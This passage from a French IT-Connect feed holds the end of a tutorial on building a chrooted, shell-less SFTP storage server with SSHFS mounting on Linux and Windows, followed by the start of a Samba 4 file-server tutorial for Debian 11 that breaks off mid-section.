<p>Ce qu’il y a de bien avec SFTP, c’est qu’on peut utiliser ce qu’on appelle une prison <strong>chroot</strong> (chroot jail). L’appel système « chroot » permet de changer le répertoire racine d’un processus ou d’un utilisateur. On parle de prison, car, lorsqu’il est utilisé, l’utilisateur (ou le processus) à l’impression d’être à la racine du système et donc de n’avoir aucun répertoire au-dessus de celui dans lequel il se trouve.</p>
<p>Cela a ses avantages, car il permet, dans un contexte multi-utilisateur, de ne faire <strong>apparaître à l’utilisateur uniquement SES répertoires</strong>, il ne pourra pas afficher ceux du voisin. Autre avantage, même si un utilisateur se fait piquer son mot de passe, le voleur n’ira pas bien loin et ne pourra corrompre la totalité du serveur.</p>
<p>On va ajouter à cela l’impossibilité pour un utilisateur d’ouvrir un shell sur le serveur. De base, SFTP est une « variante » de SSH donc en théorie, l’utilisateur pourra ouvrir une ligne de commande, mais ça, on ne veut pas !</p>
<p>Vu qu’on va pas mal manipuler les fichiers de configuration, je vais vous éviter l’utilisation de vi, j’aimerais que ce tuto soit reproductible par le plus grand nombre. On va donc installer nano, pour cela, on se connecte en root puis on tape la commande :</p>
<pre>[root@sftp ~]#yum install -y nano</pre>
<p>Pour Debian, l’éditeur nano est présent nativement. Pour vous en assurer, vous pouvez utiliser la commande « <strong>nano --version</strong> ».</p>
<p>Une fois l’installation terminée, l’éditeur de texte est prêt à l’emploi.</p>
<h3>A. Empêcher la connexion de root via SSH</h3>
<p>Ici, les utilisateurs Debian sont chanceux, l’implémentation de sshd dans cette distribution empêche d’office la connexion de root.</p>
<p>Il est indispensable de ne pas autoriser la connexion de cet utilisateur en SSH. Il faudra alors se connecter avec un utilisateur « lambda » et utiliser le compte root seulement quand nécessaire. Pour mettre cela d’aplomb, il faut aller modifier le fichier<strong> /etc/ssh/sshd_config</strong> avec nano.</p>
<pre>[root@sftp ~]#nano /etc/ssh/sshd_config</pre>
<p>Ce qui nous intéresse, ce sont ces lignes :</p>
<pre>#Authentication:
#LoginGraceTime 2m
PermitRootLogin yes</pre>
<p>On va tout simplement supprimer le « yes » de la dernière ligne pour le transformer en « no ». Une fois fait, on enregistre (Ctrl+o) et on quitte (Ctrl+x). Pour que cela soit pris en compte, on redémarre SSH :</p>
<pre>[root@sftp ~]#systemctl restart sshd</pre>
<h3>B. Configuration SFTP</h3>
<p>La première étape est de créer un groupe d’utilisateurs qui pourront se connecter en SFTP. Il sera ainsi plus facile de les gérer le cas échéant.</p>
<pre>[root@sftp ~]#groupadd sftp</pre>
<p>Encore une fois, le nom « sftp » est celui que j’ai choisi pour mon groupe, vous pouvez l’appeler comme vous voulez.</p>
<p>La seconde étape consiste à créer un répertoire qui va servir de « home » aux utilisateurs sftp :</p>
<pre>[root@sftp ~]#mkdir /sftp</pre>
<p>Je choisis de le mettre à la racine « / » pour plus de facilité, notamment pour les scripts de sauvegardes. Bien entendu, vous pouvez le mettre où vous le souhaitez.</p>
<p>Là encore, vous le nommez comme vous le souhaitez. L’important est de lui donner les bons droits. En effet,<strong> il est IMPÉRATIF de donner la propriété à root ainsi que les droits d’écriture.</strong> Rappelez-vous il s’agit de faire croire à l’utilisateur qu’il est à la racine, dont seul root à les droits d’écriture. SI on tape la commande «<strong> ls -al /</strong> », on constate ceci :</p>
<pre>drwxr-xr-x. 2 root root 6 20 juin 03:46 sftp</pre>
<p>Ce n’est pas bon, car seul root doit avoir les droits complets (lecture, écriture, exécution r-w-x) or ici, les autres utilisateurs ont également les droits d’exécution. Pour modifier cela, il faut taper la commande :</p>
<pre>[root@sftp ~]# chmod 750 /sftp</pre>
<p>Les droits sous Linux pouvant être représenté par des chiffres (octal):</p>
<ul>
<li>r (<em>read</em>) = 4</li>
<li>w (<em>write</em>) = 2</li>
<li>x (<em>execute</em>) = 1</li>
</ul>
<p>Et chaque bloc représente un utilisateur (propriétaire-groupe-autres). Donc à partir de là,<strong> 750 octroie les droits complets au propriétaire, lecture et exécution au groupe et rien aux autres</strong>.</p>
<p>Maintenant que la base est là, on va retourner dans la modification du fichier sshd_config :</p>
<pre>[root@sftp ~]#nano /etc/ssh/sshd_config</pre>
<p>Ce qui nous intéresse ici, ce sont les dernières lignes :</p>
<pre>override default of no subsystems
Subsystem sftp /usr/libexec/openssh/sftp-server
 
Example of overriding settings on a per-user basis
Match User anoncvs
X11Forwarding no
AllowTcpForwarding no
PermitTTY no
ForceCommand cvs server</pre>
<p>Il est nécessaire de les modifier de la sorte (les explications viennent après) :</p>
<pre>override default of no subsystems
Subsystem sftp <span style="color: #00ffff;">internal-sftp</span>
 
Example of overriding settings on a per-user basis
<span style="color: #00ffff;">Match Group sftp</span>
X11Forwarding no
AllowTcpForwarding no
PermitTTY no
<span style="color: #00ffff;">PermitTunnel no
ForceCommand internal-sftp -d /upload
ChrootDirectory /sftp/%u</span></pre>
<p>Bien, décortiquons tout ça :</p>
<p>- <strong>Subsystem sftp internal-sftp</strong> va indiquer au démon sshd d’utiliser les commandes intégrées</p>
<p>-<strong> Match Group sftp</strong> va appliquer les lignes qui suivent à tous les utilisateurs faisant partie du groupe « sftp »</p>
<p>- <strong>X11Forwarding no</strong> va interdire la transmission de l’affichage entre le serveur et le client (ici nous n’avons pas d’interface graphique, mais il vaut mieux l’activer si d’aventure on en rajoute une)</p>
<p>-<strong> AllowTcpForwarding no</strong> va interdire les redirections TCP</p>
<p>-<strong> PermitTTY no</strong> va interdire l’utilisation du shell</p>
<p>- <strong>PermitTunnel no</strong> va interdire l’utilisation des commandes SSH pour créer des tunnels chiffrés</p>
<p>- <strong>ForceCommand internal-sftp</strong> va obliger les utilisateurs à n’utiliser QUE les commandes SFTP, l’option « -d /upload » va spécifier le répertoire dans lequel l’utilisateur arrive au moment de la connexion, ceci pour éviter qu’il n’arrive à sa racine, car il n’aura pas les droits d’écriture (voir plus bas)</p>
<p>- <strong>ChrootDirectory /sftp/%u</strong> va indiquer au démon que les utilisateurs doivent croire que la racine est /sftp/nomdelutilisateur</p>
<p>Il ne nous reste qu’à enregistrer et fermer, puis redémarrer sshd.</p>
<h2>IV. Création des utilisateurs</h2>
<p>On va créer maintenant notre premier utilisateur « john» avec une seule ligne de commande :</p>
<pre>[root@sftp ~]#useradd -s /usr/bin/false -d /sftp/john -G sftp john</pre>
<p>- L’option « <strong>-s »</strong> spécifie le shell à utiliser, on ne veut pas qu’il en utilise donc on lui indique un « faux » shell (en fait, c’est plutôt une commande qui ne fait rien et se termine avec un code d’erreur)</p>
<p>- L’option «<strong> -d</strong> » indique quel répertoire sera celui de l’utilisateur</p>
<p>- L’option<strong> -G</strong> ajoute l’utilisateur au groupe (ici sftp)</p>
<p>N’oubliez pas de lui affecter un mot de passe :</p>
<pre>[root@sftp ~]#passwd john</pre>
<p>Attention, par défaut, le répertoire « <em>john </em>» aura des permissions uniquement pour l’utilisateur john (et root bien entendu). Comme indiqué plus haut, pour que SFTP puisse fonctionner, il est obligatoire d’avoir des droits réglés sur 750 avec root en tant que propriétaire.</p>
<p>Il faut donc modifier le propriétaire du dossier. J’en profite pour déclarer « <em>sftp </em>» comme groupe propriétaire également et modifie les droits :</p>
<pre>[root@sftp ~]#chown root:sftp /sftp/john
[root@sftp ~]#chmod 750 /sftp/john</pre>
<p>On ne peut pas s’arrêter ici, car l’utilisateur « john » pourra bien se connecter, mais en aucun cas uploader quoi que ce soit. Il faut donc lui créer un répertoire dans lequel il pourra à loisir uploader des fichiers, créer d’autres répertoires, etc.</p>
<p>Rappelez-vous, lors de la configuration du service, on a spécifié  « <strong>ForceCommand internal-sftp -d /upload </strong>» donc le répertoire qui sera utilisé par l’utilisateur doit s’appeler « upload ».</p>
<pre>[root@sftp ~]#mkdir /sftp/john/upload
[root@sftp ~]#chown john:john /sftp/john/upload
[root@sftp ~]#chmod 750 /sftp/john/upload</pre>
<h2>V. Tester le bon fonctionnement</h2>
<p>Pour le test, j’utilise WinSCP que j’aime beaucoup, mais vous pouvez utiliser Filezilla sans problème. Pour rappel, Windows 10 permet l’utilisation de sftp nativement, mais en ligne de commande, WinSCP ou FileZilla ont l’avantage de représenter l’arborescence à la manière d’un Explorer ce qui facilite grandement la manipulation de fichiers et répertoires.</p>
<p><img class="aligncenter size-full wp-image-46469" src="media/72779386.linux-espace-de-stockage-securise-sftp-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-06.jpg" alt="" width="629" height="424" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-06.jpg 629w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-06-550x371.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-06-150x101.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-06-160x108.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-06-50x34.jpg 50w" sizes="(max-width: 629px) 100vw, 629px" /></p>
<p>Il est fort probable qu’a la première connexion, vous ayez un message de ce type. Normal, le serveur est inconnu, donc le logiciel ne peut comparer sa clé à une autre en mémoire. Cliquer sur « Oui » pour continuer le processus de connexion.</p>
<p><img class="aligncenter size-full wp-image-46470" src="media/d4c875ff.linux-espace-de-stockage-securise-sftp-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-07.jpg" alt="" width="470" height="331" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-07.jpg 470w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-07-150x106.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-07-160x113.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-07-50x35.jpg 50w" sizes="(max-width: 470px) 100vw, 470px" /></p>
<p>Comme promis, nous arrivons immédiatement dans le répertoire « upload » où l’utilisateur a les droits d’écriture (répertoire courant en haut à gauche) :</p>
<p><img class="aligncenter size-large wp-image-46471" src="media/3464c6a9.linux-espace-de-stockage-securise-sftp-08-800x156.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-800x156.jpg" alt="" width="800" height="156" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-800x156.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-550x107.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-150x29.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-768x149.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-160x31.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08-50x10.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-08.jpg 812w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Si on remonte d’un cran, on arrive à ce résultat :</p>
<p><img class="aligncenter size-large wp-image-46472" src="media/35e877a2.linux-espace-de-stockage-securise-sftp-09-800x186.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-800x186.jpg" alt="" width="800" height="186" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-800x186.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-550x128.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-150x35.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-768x178.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-160x37.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09-50x12.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-09.jpg 810w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Vous constaterez qu’il est bien indiqué « racine » en haut à gauche en guise de répertoire actuel, alors que nous savons bien que c’est faux ! D’ailleurs, si vous essayez de remonter dans l’arborescence, vous ne pourrez pas.</p>
<p>Comme annoncé également, il sera impossible de créer ou uploader quoi que ce soit dans le répertoire courant, mais dans « upload » pas de soucis, notre utilisateur pourra faire ce qu’il veut.</p>
<p>Et qu’en est-il de la connexion par SSH ?</p>
<pre>ssh john@192.168.1.100
john@192.168.1.100's password:

PTY allocation request failed on channel 0
This service allows sftp connections only.
Connection to 192.168.1.100 closed.</pre>
<p>Le message est on ne peut plus clair, seules les connexions et commandes sftp sont autorisées pour cet utilisateur. En revanche, pas de soucis pour mon utilisateur « florian » qui lui peut encore se connecter.</p>
<h2>VI. Montage automatique du répertoire SFTP</h2>
<p>Pour une utilisation ponctuelle ou une cible de sauvegarde, les étapes ci-dessus suffisent largement. En revanche, si on veut utiliser le répertoire sftp comme lecteur réseau par exemple, il est nécessaire de « monter » ce répertoire dans le système de fichier actuel pour l’utiliser comme s’il était directement attaché à notre machine.</p>
<p>Pour cela, il existe SSHFS, disponible sur toutes les distributions Linux et même sur Windows !</p>
<p>Note : je ne préconise pas de montage permanent ni sous Linux ni sous Windows. La création d’un tel serveur de fichier est à des fins de sécurité, or un montage permanent va à l’encontre de ce principe, surtout si l’utilisateur n’as pas de mot de passe de session par exemple.</p>
<h3>A. Utilisation de SSHFS sous Linux</h3>
<p>Retrouvez notre tutoriel dédié à SSHFS à cette adresse : <a href="https://www.it-connect.fr/utilisation-des-montages-sshfs-securises-sur-gnu-linux/" target="_blank" rel="noopener">Tutoriel SSHFS </a>- Sinon, en résumé voici les étapes à suivre.</p>
<p>Pour tous ceux équipés d’une distribution desktop, rien de plus simple, il suffit d’installer le paquet sshfs sur leur machine à l’aide de la commande :</p>
<pre># Sur Debian
apt install -y sshfs

# Sur CentOS et dérivés
yum install -y sshfs</pre>
<p>Une fois l’installation faite, il faut créer un répertoire qui « accueillera » notre montage, ici, je décide que ce sera un dossier nommé sftp que je crée dans mon répertoire user :</p>
<pre>mkdir /home/flo/sftp</pre>
<p>Maintenant, il ne me reste plus qu’a utiliser la commande qui va bien :</p>
<pre>sshfs [utilisateur@]serveur:[dossier distant] point_de_montage [options]</pre>
<p>Soit dans mon cas :</p>
<pre>sshfs john@192.168.1.100:/upload /home/flo/sftp
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
john@192.168.1.100's password:</pre>
<p>Une fois le mot de passe rentré, nous pouvons naviguer dans notre répertoire en local.</p>
<p>Note : n’oubliez pas que pour john, son répertoire est à la racine d’où le chemin « /upload » dans la commande sshfs. Si vous indiquez le VRAI chemin (/sftp/john/upload), cela ne fonctionnera pas !</p>
<p>Il est possible de monter ce répertoire en permanence via le fichier fstab en ajoutant la ligne :</p>
<pre>john@192.168.1.100:/upload /home/flo/sftp fuse.sshfs defaults 0 0</pre>
<p>La commande est identique à deux exceptions prêtes :</p>
<ul>
<li><strong>fuse.sshfs</strong> : spécifie le système de fichier utilisé</li>
<li><strong>defaults</strong> : spécifie les options de montage, ici on laisse les options par défaut</li>
<li><strong>0 0</strong> : Ces deux chiffrent sont utiles pour la vérification des erreurs du système de fichier au démarrage. Le premier concerne la racine, le deuxième pour les partitions externes. Ici je ne veux pas de vérification, donc je mets les deux valeurs à « 0 »</li>
</ul>
<p>Note : si vous voulez vraiment faire un montage automatique, il sera obligatoire de vous authentifier par clé. Le montage par fstab via une authentification par mot de passe n’est pas possible.</p>
<h3>B. Utilisation de SSHFS sous Windows</h3>
<p>SSHFS est également disponible sur Windows, un grand merci à Bill Zissimopoulos (billziss-gh) pour les deux installateurs disponibles sur GitHub qu’il faudra d’ailleurs récupérer :</p>
<ul>
<li><a href="https://github.com/billziss-gh/winfsp/releases/tag/v1.9" target="_blank" rel="noopener">WinFsp</a></li>
<li><a href="https://github.com/billziss-gh/sshfs-win/releases/tag/v3.7.21011" target="_blank" rel="noopener">SSHFS-Win</a></li>
</ul>
<p>Une fois l’installation de ces deux paquets, l’ajout du lecteur réseau est aussi simple qu’un partage SMB directement dans l’explorateur :</p>
<pre>\\sshfs\john@192.168.1.100</pre>
<p>Ici, pas besoin de spécifier de chemin, comme pour les connexions manuelles, l’utilisateur sera immédiatement « propulsé » dans son dossier « upload »</p>
<p>Si tout est OK, vous aurez la demande du mot de passe :</p>
<p><img class="aligncenter size-full wp-image-46473" src="media/0f1cf0fd.linux-espace-de-stockage-securise-sftp-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-10.jpg" alt="" width="460" height="313" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-10.jpg 460w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-10-150x102.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-10-160x109.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/linux-espace-de-stockage-securise-sftp-10-50x34.jpg 50w" sizes="(max-width: 460px) 100vw, 460px" /></p>
<p>Et le répertoire est monté. Je vous invite grandement à lire le manuel de SSHFS-Win pour voir toutes les possibilités offertes par ce merveilleux utilitaire.</p>
<h2>VII. Conclusion</h2>
<p><strong>Notre serveur est prêt, vous pouvez maintenant créer d’autres utilisateurs selon le modèle de john et constater qu’ils ne peuvent connaitre l’existence des autres, et encore moins accéder à leurs dossiers.</strong></p>
<p>Nous avons donc vu <strong>comment mettre en place un serveur de fichier sécurisé</strong>, avec <strong>chiffrement des données échangées et isolation des utilisateurs par « enfermement » dans une racine virtuelle</strong>.</p>
<p>Avec les possibilités de montage sur Linux ou Windows, cela offre un réel plus, notamment si vous avez plusieurs « clients » que vous souhaitez leur offrir un espace personnel sécurisé pour leurs fichiers sensibles ou encore leurs sauvegardes.</p>The post <a href="https://www.it-connect.fr/linux-configuration-dun-espace-de-stockage-securise-avec-sftp/">Linux : configuration d’un espace de stockage sécurisé avec SFTP</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.


feed_id: https://www.it-connect.fr/?p=46409
title: Serveur de fichiers Debian : installer et configurer Samba 4
uri: Serveur-de-fichiers-Debian-installer-et-configurer-Samba-4
url: https://www.it-connect.fr/serveur-de-fichiers-debian-installer-et-configurer-samba-4/
content:
<h2>I. Présentation</h2>
<p><strong>Dans ce tutoriel, je vous propose d'installer et configurer Samba 4 sur un serveur Debian 11 afin de créer un serveur de fichiers sous Linux, avec un partage de fichiers.</strong></p>
<p><strong>Qu'est-ce que Samba ?</strong></p>
<p>Samba est une application libre qui tourne sous Linux et qui permet de créer un serveur de fichiers en s'appuyant sur l'implémentation du protocole SMB (CIFS). C'est précisément cette fonctionnalité qui va nous intéresser aujourd'hui, mais sachez que Samba permet également de partager des imprimantes et de créer un véritable contrôleur de domaine Active Directory (prise en charge des GPO, Kerberos, LDAP, DNS, etc.).</p>
<p><strong>Quels sont les prérequis pour suivre ce tutoriel ?</strong></p>
<p>Pour suivre ce tutoriel, vous avez besoin :</p>
<ul>
<li>D'une machine sous Linux, pour ma part Debian 11 <em>(selon la distribution quelques commandes peuvent changer)</em></li>
<li>D'un poste client sous Windows pour tester l'accès au partage, pour ma part Windows 11 <em>(mais Windows 10 fera très bien l'affaire)</em></li>
</ul>
<p><strong>Quel est l'objectif de ce tutoriel ?</strong></p>
<p>Nous allons installer le paquet Samba sous Debian 11 dans le but de monter un serveur de fichiers. Ce serveur de fichiers contiendra un seul partage nommé tout simplement "<em>Partage</em>" et il sera accessible par plusieurs utilisateurs. Nous verrons également comment accéder à ce partage depuis un poste client.</p>
<p>Si vous découvrez le protocole SMB à l'occasion de ce tutoriel, rendez-vous à la fin de l'article !</p>
<p><em>Ready ? Go !</em></p>
<h2>II. Installer Samba sous Debian 11</h2>
<p><em>Note : les commandes sont exécutées directement avec l'utilisateur "root" mais si vous agissez depuis un compte administrateur (autre que root), pensez à préfixer les commandes avec "sudo".</em></p>
<p>Connectez-vous sur votre machine Linux et mettez à jour la liste des paquets :</p>
<pre>apt-get update</pre>
<p>Ensuite, installez le paquet "samba" :</p>
<pre>apt-get install -y samba</pre>
<figure id="attachment_46422" aria-describedby="caption-attachment-46422" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46422 size-full" src="media/c9927efb.tutoriel-debian-samba-serveur-de-fichiers-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01.png" alt="apt-get install -y samba" width="800" height="320" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01-550x220.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01-150x60.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01-768x307.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01-160x64.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-01-50x20.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46422" class="wp-caption-text">apt-get install -y samba</figcaption></figure>
<p>Suite à l'installation, on peut afficher la version actuelle de Samba via la commande <em>smbd</em> :</p>
<pre>smbd --version
<span style="color: #00ffff;">Version 4.13.5-Debian</span></pre>
<p>Pour afficher le statut du serveur Samba, et voir s'il est démarré ou arrêté, voici la commande à exécuter :</p>
<pre>systemctl status smbd</pre>
<p>Avant de passer à la suite, nous allons activer le démarrage automatique de <em>smbd</em> (Samba) :</p>
<pre>systemctl enable smbd</pre>
<p>Maintenant, passons à la création du partage Samba.</p>
<h2>III. Créer son premier partage sous Samba</h2>
<p>La création du partage va s'effectuer en plusieurs étapes : la configuration de Samba dans un premier temps, et la préparation du groupe, de l'utilisateur et du dossier du partage dans un second temps.</p>
<h3>A. Configurer le partage dans smb.conf</h3>
<p>Le fichier de configuration de Samba est "<em>/etc/samba/smb.conf</em>", nous allons l'éditer :</p>
<pre>nano /etc/samba/smb.conf</pre>
<p>Ajoutez ensuite les lignes suivantes pour déclarer notre partage :</p>
<pre>[partage]
   comment = Partage de données
   path = /srv/partage
   guest ok = no
   read only = no
   browsable = yes
   valid users = @partage</pre>
<figure id="attachment_46413" aria-describedby="caption-attachment-46413" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46413 size-full" src="media/b4d17567.tutoriel-debian-samba-serveur-de-fichiers-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02.png" alt="Configurer un partage dans Samba" width="800" height="131" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02-550x90.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02-150x25.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02-768x126.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02-160x26.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-02-50x8.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46413" class="wp-caption-text">Configurer un partage dans Samba</figcaption></figure>
<p>Quelques explications :</p>
<ul>
<li><strong>[partage]</strong> : sert à spécifier le nom du partage entre "[]", c'est le nom qui devra être utilisé pour accéder au partage</li>
<li><strong>comment</strong> : description du partage</li>
<li><strong>path</strong> : chemin vers le dossier à partager, sur le serveur</li>
<li><strong>guest ok</strong> : accès invité au partage (par défaut "<em>no</em>"). Si vous décidez d'activer cette option, vous devez configurer l'option "<em>guest account</em>" qui par défaut prend la valeur "<em>nobody</em>".</li>
<li><strong>read only</strong> : partage accessible uniquement en lecture seule (<em>yes</em> ou <em>no</em>)</li>
<li><strong>browsable</strong> : le partage doit-il être visible ou masqué si on liste les partages du serveur avec un hôte distant (découverte réseau). La valeur "<em>yes</em>" permet de le rendre visible.</li>
<li><strong>valid users</strong> : spécifier les utilisateurs ou les groupes qui ont les droits d'accès au partage (<em>les droits sur le système de fichiers doivent être cohérents vis-à-vis de cette autorisation</em>). On précise un utilisateur avec son identifiant et un groupe avec son identifiant précédé du caractère "@". Pour indiquer plusieurs valeurs, séparez-les par une virgule.</li>
</ul>
<p>La configuration étant terminée, sauvegardez le fichier et redémarrez le service <em>smbd</em> :</p>
<pre>systemctl restart smbd</pre>
<h3>B. Créer un utilisateur et le groupe "partage"</h3>
<p>Le groupe "<em>partage</em>" que nous avons déclaré dans la configuration n'existe pas. Nous allons créer le groupe, ainsi qu'un utilisateur nommé "<em>it-connect</em>" et qui sera membre de ce groupe.</p>
<p>Créez l'utilisateur "<em>it-connect</em>" et définissez son mot de passe :</p>
<pre>adduser it-connect</pre>
<p>Pour que l'utilisateur puisse se connecter au partage, il faut l'autoriser dans Samba, en plus de la création au sein du système Linux. Pour cela, il faut utiliser la commande "<strong><em>smbpasswd</em></strong>" pour <strong>déclarer l'utilisateur et lui créer un mot de passe Samba</strong> (ce dernier pouvant être différent du mot de passe du compte sur le système).</p>
<p>Voici la commande pour ajouter l'utilisateur "<em>it-connect</em>" :</p>
<pre>smbpasswd -a it-connect</pre>
<figure id="attachment_46414" aria-describedby="caption-attachment-46414" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46414 size-full" src="media/478447b8.tutoriel-debian-samba-serveur-de-fichiers-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03.png" alt="Créer l'utilisateur et définir son mot de passe Samba avec smbpasswd" width="800" height="333" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03-550x229.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03-150x62.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03-768x320.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03-160x67.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-03-50x21.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46414" class="wp-caption-text">Créer l'utilisateur et définir son mot de passe Samba avec smbpasswd</figcaption></figure>
<p>Lorsqu'un utilisateur exécute lui-même la commande "<em>smbpasswd</em>", cela lui permet de modifier lui-même son mot de passe Samba.</p>
<p>L'utilisateur étant prêt, nous allons créer le groupe "<em>partage</em>" :</p>
<pre>groupadd partage</pre>
<figure id="attachment_46415" aria-describedby="caption-attachment-46415" style="width: 800px" class="wp-caption aligncenter"><img class="wp-image-46415 size-full" src="media/fa0f9d7c.tutoriel-debian-samba-serveur-de-fichiers-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04.png" alt="Ajouter l'utilisateur au groupe associé à notre partage" width="800" height="52" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04-550x36.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04-150x10.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04-768x50.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04-160x10.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-debian-samba-serveur-de-fichiers-04-50x3.png 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption id="caption-attachment-46415" class="wp-caption-text">Ajouter l'utilisateur au groupe associé à notre partage</figcaption></figure>
<p>Avec <strong>gpasswd</strong> ou <strong>usermod</strong>, ajoutez l'utilisateur "<em>it-connect</em>" au groupe "<em>partage</em>" :</p>
<pre>gpasswd -a it-connect partage</pre>
<p>Le tour est joué pour l'utilisateur et le groupe !</p>
<h3>C. Préparer le dossier du partage</h3>
